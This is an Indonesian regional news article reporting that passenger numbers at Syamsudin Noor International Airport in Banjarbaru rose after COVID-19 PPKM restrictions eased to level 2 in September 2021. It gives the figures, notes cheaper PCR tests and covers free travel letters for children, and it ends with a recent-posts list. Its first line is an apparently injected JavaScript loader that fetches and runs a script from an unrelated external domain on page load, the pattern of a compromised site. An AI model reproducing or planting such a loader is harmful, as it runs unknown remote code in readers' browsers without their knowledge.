(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
HEADLINE

Tren Penumpang Bandara Syamsudin Noor Naik, Ini Angkanya Pasca PPKM Berubah Level


KANALKALIMANTAN.COM, BANJARBARU – Seiring menurunnya angka kasus Covid-19 dan Pemberlakukan Pembatasan Kegiatan Masyarakat (PPKM) di Kota Banjarbaru menjadi level 2, Bandara Internasional Syamsudin Noor mengalami lonjakan penumpang sejak akhir September 2021.

Menurut Stakeholder Relation Manager Bandara Internasional Syamsudin Noor, Ahmad Zulfian Noor, mengungkapkan lonjakan penumpang ini juga didasarkan oleh penyesuaian tarif Polymerase Chain Reaction (PCR) yang awalnya mencapa jutaan rupiah sekarang hanya sebesar Rp 525.000 dan penurunan level PPKM di Pulau Jawa dan Bali.

“Di bulan September 2021 tercatat kita melayani penumpang mencapai 77 ribu orang, sedangkan di bulan Agustus kita hanya melayani sebanyak 44 ribu orang penumpang,” terang Zulfian.

Zulfian membeberkan, lonjakan penumpang pada September bahkan mencapai 70 persen dibandingkan dengan Agustus.

Baca juga : Pencuri Konyol di Samarinda Embat Uang Rp 6 Juta, Duitnya Dihambur ke Warga

Jika dihitung rata-rata penumpang selama September mencapai 2.580 per hari. Dengan jumlah penumpang keberangkatan sebanyak 38.050 dan 39.172 penumpang yang datang dari luar daerah.

Meskipun mengalami lonjakan, hingga saat ini tujuan penumpang melakukan penerbangan karena urusan bisnis dan pekerjaan.

Sementara itu, Sekretaris Satgas Penanganan Covid-19 Kota Banjarbaru Zaini Syahranie mengatakan, mengenai persyaratan bagi warga yang masih di bawah umur 12 tahun bisa meminta surat rekomentasi pada tim Satgas Penanganan Covid-19 agar bisa diperbolehkan apabila ingin berpergian lewat jalur udara.

“Kalau ada masyarakat yang meminta surat permohonan, kami sampaikan bahwa surat tersebut gratis tanpa dipungut biaya sepeserpun,” tegas pria yang juga menjabat sebagai Kalakhar BPBD Kota Banjarbaru ini.

Zaini menerangkan terhitung kurang lebih ada 540 surat perizinan yang sudah Satgas Covid-19 berikan kepada pelaku penerbangan di Kota Banjarbaru yang masih berusia 12 tahun ke bawah selama PPKM level 2 di Kota Banjarbaru.(kanalkalimantan.com/ibnu)

Reporter : ibnu
Editor : bie


Desy Arfianty

Recent Posts

Ini Aturan Warung Makan Selama Ramadan di Banjarmasin

KANALKALIMANTAN.COM, BANJARMASIN — Mendekati Ramadan, Wali Kota Banjarmasin H Muhammad Yamin HR mengeluarkan kebijakan pelaksanaan… Read More

12 jam ago

‎Berbagi Semangat Mengaji dengan Dansatgas TMMD di TPA Al Ikhlas

‎KANALKALIMANTAN.COM, AMUNTAI – Senyum tawa anak-anak Desa Hambuku Hulu mewarnai halaman rumah warga yang sementara… Read More

17 jam ago

Hendak Tawuran, 16 Remaja Bawa Sajam Diamankan

KANALKALIMANTAN.COM, BANJARMASIN - Kepolisian Sektor (Polsek) Banjarmasin Selatan mengamankan belasan remaja dan sejumlah senjata tajam… Read More

18 jam ago

“Bakawaan Season 1” Perkuat Kolaborasi Ekosistem Ekraf Balangan

KANALKALIMANTAN.COM, PARINGIN - Gerakan Ekonomi Kreatif Nasional (Gekrafs) Kabupaten Balangan menghadirkan Balangan Kreatif Wadah Anak… Read More

1 hari ago

Banjarmasin Masih ‘Darurat Sampah’, Dorong Pengolahan Sampah Organik Mandiri

KANALKALIMANTAN.COM, BANJARMASIN - Wali Kota Banjarmasin, H Muhammad Yamin HR mendorong masyarakat bisa mengolah sampah… Read More

1 hari ago

Stadion Internasional di Landasan Ulin Barat, Lahan 28,7 Hektare Disiapkan

KANALKALIMANTAN.COM, BANJARBARU - Pemerintah Provinsi Kalimantan Selatan (Kalsel) mengumumkan penetapan lokasi pembebasan lahan untuk pembangunan… Read More

1 hari ago

This website uses cookies.